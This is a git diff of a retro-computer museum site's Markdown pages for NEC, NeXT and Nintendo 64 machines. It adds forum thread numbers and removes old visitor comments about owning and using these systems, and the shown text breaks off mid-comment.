@@ -67,6 +67,7 @@ params: - software - emulators - links + forum_thread: 395 photos: - title: LARGE VIEW subtitle: '' diff --git a/content/museum/nec-pc-8001-mk-2.md b/content/museum/nec-pc-8001-mk-2.md index d6057c6f..b120a286 100644 --- a/content/museum/nec-pc-8001-mk-2.md +++ b/content/museum/nec-pc-8001-mk-2.md @@ -67,6 +67,7 @@ params: - software - emulators - links + forum_thread: 394 photos: - title: PC-8001 MK2 subtitle: '' @@ -127,18 +128,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Frits Meuris (Netherlands Europe) - date: Saturday 23rd November 2019 - text: |- - He.....I was Nec PC8001 $ PC 8088 computer dealer in the Netherlands. I have sold about 50 complete systems in total, with 8031 $ 8031-2W double discdrive units, NEC PC8023 super reliable dot matrix printer $ Nec 8043 highres color monitors with super picture. The PC8001 had the most riliable keyboard good for real fast tekst editing. The PC8001 is nor produced by NEC but produced in the Kyocera factories. In the Netherlands was a Nec usergroup and we did met each other one time pro month.\ - With the discdrive stations included there was also the CP/M operating system included. To use that there was the memory extensionboc 8011 available.\ - Nec had in Germany a distributor also which delivered complete tables and consoles to use these computers in offices.\ - We did get all computers from NEC London in the U.K.\ - English software I have still available and I can send you a list.\ - We never had a MK2 but we sold later the 8088 system after the 8001 systems. - - Sofar...greatings from Netherlands... related: - /museum/nec-pc-8001 - /museum/nec-pc-8001-mk-2-sr diff --git a/content/museum/nec-pc-8001.md b/content/museum/nec-pc-8001.md index da53b5b8..2b0e7409 100644 --- a/content/museum/nec-pc-8001.md +++ b/content/museum/nec-pc-8001.md @@ -72,6 +72,7 @@ params: - software - emulators - links + forum_thread: 188 photos: - title: PC-8001 subtitle: '' @@ -208,33 +209,6 @@ params: - title: PC-8001 Page url: http://tje12.is.s.u-tokyo.ac.jp/~mino/PC-8001/PC-8001.html text: It looks interesting but it's all japanese ;-) - comments: - - author: Chris @LA (Los Angeles) - date: Thursday 7th July 2011 - text: The same company that made the "Wedge" also built an RGB to Color Composite Converter for this unit. I don''t remember the name of the outfit but the Wedge was a brilliant bit of technology. - - author: mcl (United States of Amnesia) - date: Saturday 21st August 2010 - text: |- - The information here is incomplete. Aside from the Wedge which was sold by a third party, NEC itself sold a number of addon units. The 32k RAM keyboard-shaped PC-8001A was the main micro computer, with everything built into the keyboard case $ a design similar to the Commodore 64 or he Atari 400 or 800 or Atari ST. But NEC also made and sold the PC-8031A mini disk unit, which allowed up to four half-height floppy disc drives to be installed. These were DSDD drives with 360K capacity each, so by installing 4, you got an instant storage capacity of up to 1.44 megs on drives A: and B: and C: and D:. The PC-8031A was an external beige box in which you could install the floppy drives. It had a built-in floppy drive controller and connected to the keyboard computer by a cable. - - Then there was the PC-8012A I/O unit. This contained serial and parallel ports as well as a primitive analog sound I/O similar to the creative sound blaster. Again, this was a beige box that also connected to the main keyboard computer through a cable, or it could connect to the 8031A floppy drive unit via a pass-through port. - - Finally, NEC sold the JC-1202DH(A) color character display, which uew the exact same chassis and cabinet and power supply as the earlier NEC green screen monochrome monitor but with color circuity. It was a simple analog monitor, no different from the Commodore or Apple color monitors. You could use any analog color monitor with this computer. As with the C64 or the Apple $$+, the color monitors were interchangeable. - - NEC also sold its own particular brand of dot matrix printer with this computer. It used a standard Centronics (today we call it a parallel) port. You had to have the 8031A drive unit to load drivers for the NEC printer and run the software. I''m not sure whether the I/O unit came with an extra 32K of RAM on a board inside the beige box, but I think so. If memory serves, this thing ran Wordstar and the NEC printer was EPSON-compatible, so you could use EPSON printer drivers and output the usual graphics + text using escape and control characters to produce primitive block graphics. - - This unit was very impressive for its time. It cost a lot for all 3 units $ you stacked the two beige boxes up on top of one another and put the NEC monitor on top of those, then hooked them up via cable to the keyboard computer and hung the dot matrix printer (and a Hayes serial modem if you wanted) off the back of the I/O module. But if you paid the money and set it all up, you had a very fully functional machine that could connect to a BBS at 300 baud, print out properly formatted documented using standard dot matrix graphics + text, play 8-bit sounds, and you had many of the same capabilities of the later EGA monitors with a variety of different colors. The disk drives were particularly good. They didn''t go bad, unlike the full-height Tandon drives on earlier computers like the Kaypro II or the TRS-80. Those full-height 48 TPI Tandons used in earlier computers were notorious for drifting out of alignment, but the 96 TPI DSDD NEC floppy drives never went bad. If you find one of these units with the floppy drive module in storage and fire it up, chances are it will still boot and work. - - author: Jef Denno (USA) - date: Friday 25th July 2008 - text: |- - I sold these very successfully in the 80's. The base system was 32K, but a company in Concord, CA. made a thing called the "WEDGE" that mounted below the Base system and added the needed 32K plus it had analog and digital input ports and other goodies. - - This was a TANK of a PC. I have a few of them and I would bet that they still work. - - We even added a 7MB hard drive (wow!) It was loud, slow and expensive, but 7 MEGABYTES!!!! - - author: Leonardo Daniel Ulanosky (Earth) - date: Monday 16th October 2006 - text: Yo trabajé con una. NEC PC 8001B. Fue la primera computadora que usé en mi vida. Era el año 1984, y era muy superior a las computadoras que se veían por ahi, hasta que apareció la Commodore64. related: - /museum/nec-pc-8001-mk-2 - /museum/nec-pc-8001-mk-2-sr diff --git a/content/museum/nec-pc-8201a.md b/content/museum/nec-pc-8201a.md index d64ce9ee..25a21f27 100644 --- a/content/museum/nec-pc-8201a.md +++ b/content/museum/nec-pc-8201a.md @@ -62,6 +62,7 @@ params: - photos - software - docs + forum_thread: 339 photos: - title: 4AA BATTERY PACK subtitle: '' @@ -157,46 +158,6 @@ params:  compiled/archived by Charles Good\  type of document : PDF\  source : [www.club100.org](http://www.club100.org) - comments: - - author: Stephen G. (Australia) - date: Saturday 2nd April 2022 - text: I have an NEC 8201A and NEC8300 both in good working order and still use them regularly. I have the Ultimate ROM II and mainly use the outliner IDEA!. Still have all manuals, etc. True trailing edge stuff. - - author: Michael (US) - date: Thursday 14th October 2021 - text: I owned one of these, my first computer, after my brother-in-law showed me his Radio Shack M-100. I also got the external drive. I learned basic on it and programmed it to handle our construction company''s payroll and taxes. - - author: John LOW (Hong Kong) - date: Wednesday 31st July 2019 - text: |- - For your reference: - - http://www.web8201.net/ - - cheers, John - - author: Sean - date: Wednesday 17th May 2017 - text: I still have one in working condition. However, manual, accessories like the cable and program tape are long gone. - - author: Mark (Chicago / USA) - date: Saturday 16th November 2013 - text: I used an NEC PC8201A in the early 80s to hook up a Mettler balance to do "real-time" fill weight for medical solutions at one of our plants in AltaVista, Virginia. I wrote the interface program in basic to allow the inspector to place the bottle on the scale, hit the spacebar to take the reading, and the statistics for all the bottles were displayed when completed, flagging in and out of spec bottles. It was a great machine! - - author: René (Puerto Rico) - date: Friday 13rd September 2013 - text: I had one. I cannot tell you how usefull it was. I bought a third party wordprocessor and with it became a indespensable tool for my work. I am an engineer. I was able to writte several engineering programs that I used in my engineering calculations. It eventually brokedown and by that time there were other alternatives. I had a lot fun with it. I tell the young generation about this "lap computer" I used to have and they are skepticall that such computer could ever exist in the 80''s. - - author: Jesper (Danmark) - date: Wednesday 11th May 2011 - text: |- - I used the PC8201A for a job in Greenland about 1986.\ - Some Landis $ Gyr substations used for a supervision system should be exchanged to newer models.\ - I used the teletype to save the configuration data, used the wordprocessor for search and replace, and the basic to generate some other conversions. And then the teletype to upload to the new substations. It was simply marveless for the job. Would love have one. I also made a speedpilot-program in basic to calculate time to desination, and a BLOCK game.\ - I really like the basic in it. - - author: Slowmotion (Hong Kong) - date: Saturday 15th May 2010 - text: |- - I still have one under my bed - it was a Japanese version of PC-8201 in silver color. - - It has N82-BASIC, and surprisingly it has a dedicated word processor (text editor should be a more accurate description), and a TTY terminal... really went ahead of its time. - - author: Joe (USA) - date: Monday 17th July 2006 - text: I bought my PC 8201 while living in Tokyo shortly after it came on the market in 1983. I used it for note-taking, correspondence, learning basic and for hooking up to largely unsatisfying mail boxes. After learning basic on it, I wrote a "mastermind" program (including stone-age graphics and sounds) that I stored on audio cassette tape. It worked wonderfully for the entire time I used it. Very long battery life. Very crisp feel to the keyboard. Instant boot-up (no non-volatile memory of any sort). When I moved on to other computers, I could never bring myself to dispose of the PC 8201. I still have it and it still works. oc_id: 334 source: url: https://web.archive.org/web/20230529185226/http://www.old-computers.com/museum/computer.asp?c=334 diff --git a/content/museum/nec-pc-8401a.md b/content/museum/nec-pc-8401a.md index 5c9c68a5..53f6ddc5 100644 --- a/content/museum/nec-pc-8401a.md +++ b/content/museum/nec-pc-8401a.md @@ -58,16 +58,7 @@ params: value: CRT/Disk adaptor, 328 KB 3.5'' FDD unit, 1200-baud external modem - label: PRICE value: $995 (USA, 1984) - comments: - - author: Dominic La Mantia (United States) - date: Tuesday 19th December 2017 - text: I have the laptop and printer in good condition. What would u be willing to pay for these items? - - author: Barry (United States) - date: Monday 6th June 2016 - text: I have a mint condition working PC-8401A for sale if you are still interested. - - author: Leskovez (Russia) - date: Saturday 18th January 2014 - text: If someone owns the laptop let me know. Laptop needed for the museum of computer technology. leskovezATmail.ru + forum_thread: 354 oc_id: 350 source: url: https://web.archive.org/web/20230601095205/http://www.old-computers.com/museum/computer.asp?c=350 diff --git a/content/museum/nec-pc-88-va-2.md b/content/museum/nec-pc-88-va-2.md index cc44b8d2..b78ed9a4 100644 --- a/content/museum/nec-pc-88-va-2.md +++ b/content/museum/nec-pc-88-va-2.md @@ -56,6 +56,7 @@ params: value: NEC PC-Engine - label: PRICE value: 298,000 yen (Japan, 1987) + forum_thread: 400 oc_id: 402 source: url: https://web.archive.org/web/20230608143211/http://www.old-computers.com/museum/computer.asp?c=402 diff --git a/content/museum/nec-pc-8801-fa.md b/content/museum/nec-pc-8801-fa.md index 772ea6e2..f0cd4261 100644 --- a/content/museum/nec-pc-8801-fa.md +++ b/content/museum/nec-pc-8801-fa.md @@ -61,6 +61,7 @@ params: - connectors - emulators - links + forum_thread: 397 hardware: - title: DUAL 5.25'' FLOPPY DISCS UNIT subtitle: '' @@ -107,10 +108,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Nyxt (United Kingdom) - date: Saturday 23rd July 2022 - text: It was released in 1987. related: - /museum/nec-pc-8001 - /museum/nec-pc-8001-mk-2 diff --git a/content/museum/nec-pc-8801-fe.md b/content/museum/nec-pc-8801-fe.md index 271e27bb..44a70fcd 100644 --- a/content/museum/nec-pc-8801-fe.md +++ b/content/museum/nec-pc-8801-fe.md @@ -62,6 +62,7 @@ params: - connectors - emulators - links + forum_thread: 398 photos: - title: PC 8801 FE subtitle: '' @@ -121,10 +122,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: mattos (brazil) - date: Saturday 20th March 2004 - text: Do you have the manual of this computer? ore some other paper? thanks related: - /museum/nec-pc-8001 - /museum/nec-pc-8001-mk-2 diff --git a/content/museum/nec-pc-8801.md b/content/museum/nec-pc-8801.md index c964c865..a1fbdaaf 100644 --- a/content/museum/nec-pc-8801.md +++ b/content/museum/nec-pc-8801.md @@ -72,6 +72,7 @@ params: - software - emulators - links + forum_thread: 396 photos: - title: PC 8801 subtitle: '' @@ -154,48 +155,6 @@ params: - title: Kubota's museum url: http://my.reset.jp/~toragiku/kopa/88.htm text: Interesting page (japanese) - comments: - - author: James (Ireland) - date: Tuesday 26th May 2020 - text: Personally I''m surprised that this system was not released outside of Asia because it was very powerful in its later years with FM sound and full colour graphics and if it was released it would have probably buried the IBM PC - - author: Richard E Sgrignoli (Pennsylvania/USA) - date: Tuesday 20th August 2019 - text: I was in the Air Force stationed in Japan (Misawa Air Base), and I bought the PC-8801n in Aomori, Japan with my reenlistment bonus in April 1982. The manuals were all in Japanese, so I hadn''t really been able to use it to its full potential. I used it for the next five years until I bought a Dell System 25, but the PC-8801 (now my secondary computer) lasted for about 12 years (until 1994) when it became inoperable due to the post office damaging the 8" dual drive when I shipped it from one duty station (Key West) to the next (Hawaii). - - author: Frits Meuris (Nederland) - date: Saturday 10th November 2012 - text: |- - The NEC PC8801 was the followup from the NEC PC8001. It was distributed in west Europe by NEC Neuss Germany. These even manufactured computer furniture to be bought by complete systems. In the U.K. this was also a well know model in the marked of office equipment. The PC8801 had 2 basic interpretors in ROM, at first the bill gates written N-basic from Microsoft and second the very special Microsoft N-88 basic with extended commands for graphics etc.\ - You could load CP/M operating system by discette. At first the CP/M from the PC8001 computer, and later also CP/M in PC8801 mode.\ - In GB was at last also availble separate double DS/DD 8 inch discette station. The discettes had 1,2 Mb capacity in this format. Also was available a harddisk station from Japan for these computers. It''s brand was Anritsu, and the capacity was 10 Mb. - - In America was another development going, also selden sold in Europe, the famous APC computer.\ - This was a more IBM compatible model, with build in\ - 2 x 51/4 inch discette stations. The APC was the counterpart for the Northstar pc''s. - - only link for available software\ - http://www.frimu.nl/bu/nec.htm - - author: Brent (US) (Colorado, USA) - date: Friday 13rd April 2012 - text: |- - It was definitely released in the US. My folks bought one in 1982 or 1983. I learned to program on it in BASIC, Pascal, and Z80 Assembly. - - It went from sibling to sibling until it finally was sent to me sometime in the 90s. It still functioned as late as a year ago when I finally donated it to a museum rather than move it across country with me. :-) By the time I got it back from a sibling, you could emulate a Z80 processor in software faster than the NEC would run it, but... I still have fond memories of all the hours I spent in front of it during my high school years, though. - - author: Ian E. Gorman - date: Saturday 7th April 2012 - text: |- - I bought a PC-8801 in Canada and used it from 1984 to 1990, with an NEC "Spinwriter" printer, and a pair of 5.25" disk drives, CP/M WordStar (with MailMerge) and MultiPlan. - - I didn''t buy the MS-DOS board (it was only available with DOS 1.25) and heard later that, in contrast to the PC-8801 itself, the MS-DOS board was very troublesome. - - I also used code and circuit diagrams supplied by NEC to write a driver that used the 48K graphics memory as a rAM disk, a utility that would convert 5.25" diskettes from N88-Basic format to CP/M format and back, and a file manager that would automatically recognize MS-DOS and CP/M diskettes and treat them as if they were all CP/M diskettes. All of these were posted on a bulletin board run by Ryugen Fisher, who gave me some useful advice and coaching. - - It was a very good computer and, at the time, well-supported by NEC Home Electonics in the USA. - - author: Daniel (Switzerland) - date: Saturday 27th February 2010 - text: I don''t know if it applies in this particular case, but it doesn''t have to be a contradiction. Quite a few times manufacturers have simply already been promoting a system in a country before deciding not to release it after all, for financial reasons or whatever. Judging by how little English coverage there is on the system, I would suppose it was never released, or was a big failure. - - author: Guy (US) - date: Tuesday 29th July 2008 - text: I'm confused. The main article says the machine was not released in the USA, but there are american ads. related: - /museum/nec-pc-8001 - /museum/nec-pc-8001-mk-2 diff --git a/content/museum/nec-pc-88va.md b/content/museum/nec-pc-88va.md index e7de2b31..8fe1579d 100644 --- a/content/museum/nec-pc-88va.md +++ b/content/museum/nec-pc-88va.md @@ -67,6 +67,7 @@ params: - connectors - emulators - links + forum_thread: 399 hardware: - title: DUAL 5.25'' FLOPPY DISCS UNIT subtitle: '' @@ -113,13 +114,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: JAMES (Ireland) - date: Saturday 30th May 2020 - text: Yes this model of the PC88 series did get a port of the arcade hit R-TYPE and for the time it was probably one of the best home computer ports out their with full colour and FM stereo sound it was comparable to the Arcade. - - author: JAMES (Ireland) - date: Saturday 30th May 2020 - text: Yes this model of the PC88 series did get a port of the arcade hit R-TYPE and for the time it was probably one of the best home computer ports out their with full colour and FM stereo sound it was comparable to the Arcade. related: - /museum/nec-pc-8001 - /museum/nec-pc-8001-mk-2 diff --git a/content/museum/nec-pc-9801-e.md b/content/museum/nec-pc-9801-e.md index d3c30ade..bcb3e67e 100644 --- a/content/museum/nec-pc-9801-e.md +++ b/content/museum/nec-pc-9801-e.md @@ -58,6 +58,7 @@ params: value: 215,000 Yens (Japan, 1983) tabs: - links + forum_thread: 401 links: - title: Intro to NEC PC-9800 World url: http://euc.jp/articles/pc9800.en.html @@ -65,13 +66,6 @@ params: - title: Model lists for the FM towns, PC-9801/PC-9821, X68000, & MSX url: http://www.risingstuff.com/forums/viewtopic.php?f=36&t=1366 text: 'A wealth of information on the PC-98 series and each model can be found here at Rising Stuff:' - comments: - - author: Scott Scholz (United States) - date: Sunday 3rd July 2022 - text: They could use both. Later ones came with the 5.25", but could use the PC-8882A 8" drive. Even had an option board for MS-DOS /1.2 Windows, if I remember correctly. - - author: Carelle Minkton (Somewhere) - date: Thursday 21st May 2009 - text: They have external 8 inch drives not 5 inches. oc_id: 403 source: url: https://web.archive.org/web/20230605030000/http://www.old-computers.com/museum/computer.asp?c=403 diff --git a/content/museum/nec-pc-9801-f.md b/content/museum/nec-pc-9801-f.md index f0c2781b..fe224a24 100644 --- a/content/museum/nec-pc-9801-f.md +++ b/content/museum/nec-pc-9801-f.md @@ -52,6 +52,7 @@ params: value: 2 x 5''1/4 disk-drives - label: OS value: MS-DOS , N88-Disk Basic (extended Basic for control FDD) + forum_thread: 402 oc_id: 404 source: url: https://web.archive.org/web/20230602175506/http://www.old-computers.com/museum/computer.asp?c=404 diff --git a/content/museum/nec-pc-engine-duo-r.md b/content/museum/nec-pc-engine-duo-r.md index c6981569..8e7ca7a5 100644 --- a/content/museum/nec-pc-engine-duo-r.md +++ b/content/museum/nec-pc-engine-duo-r.md @@ -63,6 +63,7 @@ params: - hardware - emulators - links + forum_thread: 1205 photos: - title: TURBO DUO R subtitle: '' diff --git a/content/museum/nec-pc-engine-duo-rx.md b/content/museum/nec-pc-engine-duo-rx.md index ce66ecf4..2274453f 100644 --- a/content/museum/nec-pc-engine-duo-rx.md +++ b/content/museum/nec-pc-engine-duo-rx.md @@ -12,6 +12,7 @@ params: - hardware - emulators - links + forum_thread: 1206 photos: - title: PC ENGINE DUO RX subtitle: '' diff --git a/content/museum/nec-pc-engine-duo.md b/content/museum/nec-pc-engine-duo.md index 9c7f4589..be7a6583 100644 --- a/content/museum/nec-pc-engine-duo.md +++ b/content/museum/nec-pc-engine-duo.md @@ -13,6 +13,7 @@ params: - emulators - links - videos + forum_thread: 1199 photos: - title: PC ENGINE DUO subtitle: '' diff --git a/content/museum/nec-pc-engine-super-grafx.md b/content/museum/nec-pc-engine-super-grafx.md index 99dc7c5f..a553ab10 100644 --- a/content/museum/nec-pc-engine-super-grafx.md +++ b/content/museum/nec-pc-engine-super-grafx.md @@ -14,6 +14,7 @@ params: - software - emulators - links + forum_thread: 1201 photos: - title: SUPER GRAFX subtitle: '' diff --git a/content/museum/nec-pc-engine.md b/content/museum/nec-pc-engine.md index 3385c934..599a4578 100644 --- a/content/museum/nec-pc-engine.md +++ b/content/museum/nec-pc-engine.md @@ -13,6 +13,7 @@ params: - hardware - emulators - links + forum_thread: 1198 photos: - title: PC ENGINE subtitle: '' diff --git a/content/museum/nec-pc-fx.md b/content/museum/nec-pc-fx.md index 1e2fa80a..4bd81c09 100644 --- a/content/museum/nec-pc-fx.md +++ b/content/museum/nec-pc-fx.md @@ -12,6 +12,7 @@ params: - adverts - software - links + forum_thread: 777 photos: - title: PAD subtitle: '' diff --git a/content/museum/nec-tk-80.md b/content/museum/nec-tk-80.md index cf6ee155..68aa12fe 100644 --- a/content/museum/nec-tk-80.md +++ b/content/museum/nec-tk-80.md @@ -63,6 +63,7 @@ params: - adverts - emulators - links + forum_thread: 403 photos: - title: TK-80 subtitle: '' @@ -89,13 +90,6 @@ params: - title: IC Collection url: http://www.st.rim.or.jp/~nkomatsu/evakit/TK80.html text: Very complete description of a TK-80E (japanese) - comments: - - author: WEazel - date: Friday 4th May 2012 - text: its rare and semi collectable u cant relistic buy it but theres nothing stoping u bilding a simular device the cpus are still made based on thoughs designs - - author: Eddy (The Netherlands) - date: Sunday 15th August 2004 - text: Where can I get a TK 80? oc_id: 405 source: url: https://web.archive.org/web/20230327100339/http://www.old-computers.com/museum/computer.asp?c=405 diff --git a/content/museum/nec-turboduo.md b/content/museum/nec-turboduo.md index 24740157..1c8a5c3d 100644 --- a/content/museum/nec-turboduo.md +++ b/content/museum/nec-turboduo.md @@ -11,6 +11,7 @@ params: - hardware - emulators - links + forum_thread: 1210 hardware: - title: PACHINKO CONTROLLER subtitle: '' diff --git a/content/museum/nec-turbografx-16-turbografx.md b/content/museum/nec-turbografx-16-turbografx.md index 9d9f067a..4692702b 100644 --- a/content/museum/nec-turbografx-16-turbografx.md +++ b/content/museum/nec-turbografx-16-turbografx.md @@ -64,6 +64,7 @@ params: - hardware - emulators - links + forum_thread: 1207 photos: - title: TURBOGRAFX subtitle: '' diff --git a/content/museum/next-computers-next-cube.md b/content/museum/next-computers-next-cube.md index 46936c4d..cb746f65 100644 --- a/content/museum/next-computers-next-cube.md +++ b/content/museum/next-computers-next-cube.md @@ -64,6 +64,7 @@ params: tabs: - photos - links + forum_thread: 287 photos: - title: THE CUBE subtitle: '' @@ -88,43 +89,6 @@ params: - title: www.NeXTComputers.org url: http://www.nextcomputers.org/ text: Website dedicated to NeXT computers, NEXTSTEP and OPENSTEP - comments: - - author: JimWorm - date: Tuesday 21st April 2015 - text: When the NeXT Cube computer was released, The price was an astronomical $6800.00. I remember at the press release, Jobs mentioned that it would only be sold to academic institutions and college students, and not to the general public. When a reporter asked how he could get one, a very cocky Jobs replied "Enroll". - - author: matthew (Texas United States) - date: Tuesday 31st March 2015 - text: did you know the 040 nextcube was actually used for graphics design at id software at the time doom was made - - author: Nate (Ohio) - date: Tuesday 4th March 2014 - text: 'Fun fact: A NextCUBE was the world''''s first World Wide Web server..,' - - author: bluekatt (netherlands) - date: Sunday 17th September 2006 - text: |- - the core of next is the mach kernel with scource code from bsd unix\ - it displays postscript and has a windowing engine\ - and a object orientated application layer\ - it has a terminal ( its a nix after all ) - - author: Renzin (USA) - date: Wednesday 3rd August 2005 - text: Steve Jobs really loved the cube. Just look at the Mac G4 cube. NeXTstep, as everyone says, is greatly related to OS X, but what is the core name? The core of OS X is Darwin. Also, does it have a terminal like X and what is it like? - - author: yaro (us) - date: Friday 19th November 2004 - text: Actually NS stood for Next/Sun. The NS prefix was only introduced with OpenStep (not NextStep which used a NX prefix.) - - author: Nick Daisley (USA) - date: Monday 28th June 2004 - text: |- - Just for your information - you speak of the NeXT machines in the past tense but as of 1 year ago (probably still now) one of the Physics labs at Oxford University was entirely equipped with NeXT stations, with a Cube as a server. Quite simply, they had not come across anything which could replace them (although they were exploring Mac OS-X to that end) in terms of the network integration, messaging and programming facilities which they offer.\ - Meanwhile, my monitor stands on top of a 'color station' which just awaits a proprietory keyboard in order to switch it on for the first time in many years! - - author: Jeremiah (USA) - date: Friday 25th January 2002 - text: |- - MacOS X is indeed an heir to NeXTstep, though the MACH-BSD kernal in NeXTstep was replaced my something much more modern in OS X. OS X inherits it's structure, notions of services, application bundles, GUI and display postscript (Called Quartz under OS X), use of "NetInfo" for most things from NeXTstep, but most of the "UNIX" is actually freeBSD. - - it's interesting from a developers perspective to see all of the NeXTstep headers still in use, and NeXT-derived functions. For example, many header files and prototypes begin with the letters "NS", meaning "NextStep". :-) - - author: Douro (USA) - date: Friday 25th January 2002 - text: MacOS 10 uses much the same kernel as NeXTStep. With the port of the Mac kernel to the PC, Intel-based machines can now run NeXTStep. Apple's updated release included a color(!) GUI and could be run on Macintosh computers. related: - /museum/next-computers-next-station oc_id: 277 diff --git a/content/museum/next-computers-next-station.md b/content/museum/next-computers-next-station.md index 6a522039..3448bf79 100644 --- a/content/museum/next-computers-next-station.md +++ b/content/museum/next-computers-next-station.md @@ -67,6 +67,7 @@ params: tabs: - photos - links + forum_thread: 547 photos: - title: FRONT VIEW subtitle: '' @@ -147,47 +148,6 @@ params: - title: www.NeXTComputers.org url: http://www.nextcomputers.org/ text: Website dedicated to NeXT computers, NEXTSTEP and OPENSTEP - comments: - - author: Kip Crosby a/k/a panterazero (United States) - date: Sunday 16th June 2019 - text: What RAM format allowed 128MB on the NeXT mainboard? I would assume SIMMS, but what size? ty... - - author: Shad Smithe (London) - date: Monday 15th October 2012 - text: There is a nice NeXT turbo color 33Ghz on eBay at the moment, current bid is £10 - http://www.ebay.co.uk/itm/280996984384 - - author: Josh Carlson (USA) - date: Thursday 15th March 2007 - text: |- - I bought a NeXTstation turbo mono about 2 years ago. I love the thing! It's amazing. I've upped mine to 128mb of ram among other things. I use it constantly. - - i just got my hands on a Cube finally, the thing has been modified and holds 4 motherboards :) This thing is going to be sweet once i get it running correctly :D - - author: James (Melbourne, Australia) - date: Wednesday 30th November 2005 - text: |- - I was lucky enough to buy a mono turbo slab complete with 400dpi laser printer. - - The NeXT machines are very rare in Australia (who had the money to buy one?). - - I used mine regularly untill recently (my mouse died). - - I think this would have to be THE most amazing hardware I have ever owned! - - author: Karl (Montreal Quebec) - date: Saturday 21st May 2005 - text: When I had first seen the next station color was at a friends place. ANd it literally blew mymind the first time around. About a few months laters. My friend had asked me if I was interested in buying it. So I made him a deal for buying it and a few other things. Eventually I had received a second Nextstation and some spare parts from him as well to be able to keep the two running fine ar my place. Love th nextstationas a great alternative computer. ANd he's still finding some odds and ends for me from where he works for it too. Including original install disks for it. - - author: Dante (Detroit) - date: Friday 10th December 2004 - text: We had a bunch of NeXT stations at University of Michigan in 1992; they were powerful enough to serve as mail servers for the pilot Unix mail program. It was a great, streamlined OS. Imagine my surprise when MacOS X came out as almost a clone of NeXTstep. I guess Jobs never gave up on it. Too bad Apple didn't keep the original dock concept. - - author: Christian Nilsson (Luleå, Sweden) - date: Monday 21st April 2003 - text: |- - I recently got a Turbo Color Next, but unfortunatley I have no access to any installation media!\ - I can use the installed Nextstep since I got around the passwords, but unfortunatley several of the files on the harddrive are bad, and I fear that the harddrive is failing! Thus I wonder if anyone can help me get my hands on Nextstep 3.3, both the developer and the user CD would be a dream come true!\ - Anyone? - - author: Kevin (Dallas) - date: Sunday 28th April 2002 - text: At Rose-Hulman University in 1991 we had over 300 NeXT's which was quite astounding since there were only 1200 students there. Some were cubes, some were stations and a few where the color turbo stations. Then there was one NeXT super cube. This machine had 3 yes 3 Areol quint processor cards in its 3 expantion slots. Yes thats right boys and girls, there was once a 16" NeXT cube with 16! 68040 processors in it and it really cooked. It was primarily used for advanced mathmatical modeling. I use to run RenderMan on it via remote login. This machine was way ahead of its time. - - author: Marcel (France) - date: Tuesday 22nd January 2002 - text: The NeXTstation was my first computer when I was 13! Not many games on it... related: - /museum/next-computers-next-cube oc_id: 555 diff --git a/content/museum/nintendo-64.md b/content/museum/nintendo-64.md index f9e2d763..7eaabd88 100644 --- a/content/museum/nintendo-64.md +++ b/content/museum/nintendo-64.md @@ -10,6 +10,7 @@ params: tabs: - photos - emulators + forum_thread: 1209 photos: - title: NINTENDO 64 subtitle: '' @@ -40,67 +41,6 @@ params: url: http://www.pj64-emu.com/ platform: Windows text: The best Nintendo 64 emulator around. Excellent compatibility - comments: - - author: Sexper (USA) - date: Monday 11th January 2021 - text: Named for its 64-bit central processing unit, it was released in June 1996 in Japan, September 1996 in North America, and March 1997 in Europe and Australia. It was the last major home console to use the ROM cartridge as its primary storage format until the Switch in 2017.$9$ The Nintendo 64 was discontinued in 2002 following the launch of its successor, the GameCube. - - author: Tim - date: Tuesday 4th July 2017 - text: |- - The description here is very biased and makes it sound as though the N64 was a complete flop. Actually it was very popular, selling almost 33 million units and had a game library of almost 400 games.\ - The durability and speed of carts and the fact that with the speed of the N64''s cpu you could compress well over 64 megs of data to a cart made it far from a failure. - - This is a great site, but a terrible description. Also btw what the heck is up with the first paragraph about the name change? They changed the name, so what, and you could later get ports of those games for the N64. Get someone less biased to rewrite this description. (and keep up the otherwise fantastic work) - - author: Rob - date: Wednesday 18th March 2015 - text: there were games on the n64 that used fmv low quality though and not very many did i think maybe three of them did - - author: Matt - date: Saturday 12th July 2014 - text: |- - The N64 was a strange combination of good and bad hardware. In raw performance terms it was superior to the PlayStation. They Both used MIPS based processors but the PlayStation used a MIPS I design whereas the N64 used a more modern MIPS III based cpu which ran at 93Mhz, much higher than the PlayStation''s 33Mhz. - - The N64 also had a gpu developed by SGI which was very impressive at the time. SGI was the leader in 3D hardware and software in the 1990''s and their workstations cost tens of thousands of dollars. It was unheard of to have SGI technology in something as low end as a home console. The RCP (Reality Co-Processor) had two major design flaws though. It lacked DMA capability and it had a tiny texture cache which was almost useless for the 3D games the N64 was intended for. It''s why most N64 titles have minimal to know texturing and instead use Gouraud Shading like Mario 64. - - The N64 also had very fast RDRAM which is much quicker than conventional SDRAM but is very expensive. The architecture also did not include unified memory and paired with the RCP''s lack of DMA meant in practice there was high memory latency in-spite of the high bandwidth and it thrashed the ram. RDRAM would briefly see PC use in the first generation Pentium 4''s but was soon replaced with DDR SDRAM because it was much cheaper and was an industry standard and not tied to one company (RAMBUS have become patent trolls). - - The N64''s cartridges were a blessing and a curse at the same time. Everyone remember''s the Sony adverts where they compared one CD-ROM to a large pile of N64 carts showing the difference, and this was true, if a bit exaggerated, and the N64 suffered especially in the sound department because of it. Which PlayStation games had CD-quality audio and even some used FMVs the N64 lacked both. The cartrdige did save it in other aspects though. The ROM''s were much faster than a CD-ROM and were used to effectively stream game content on and off the machine to make up for the memory latency and puny texture cache. That coupled with custom microcode developed later by several determined development studios helped saved the N64''s hamstrung hardware and even gave some impressive results at the end of it''s life. - - The N64 was in theory a more powerful machine but was limited by a wtf architecture and very difficult programming. The PlayStation on the other hand while using inferior hardware had a much better thought out design and was able of actually doing the things it was theoretically supposed to. Sony also has the advantage of being a massive zaibatsu so it was able to pull resources and experts from many different fields and departments to make a well thought out and polished package that also doubled as a high quality CD Player. - - author: Nate (Ohio, US) - date: Monday 6th January 2014 - text: |- - The hardware and processing power for the Nintendo 64 was vastly superior to that of the Sony Playstaion..The one thing holding the N64''s full capabilities back was the maximum 64 Megabytes (512 Megabits) being used in a cartridge...\ - The audio processor could easily output DVD quality audio but due to the limited cartridge size, they had to down sample the audio... - - The system used 4 megabytes of ram without the expansion pack and 8 megabytes with the expansion pack....the texture size limit only pertained to the individual vertices used in 3D polygons...so one had to put things together like a mosaic to make them work....tedious. - - One major advantage over the Playstaion was that the N64 used 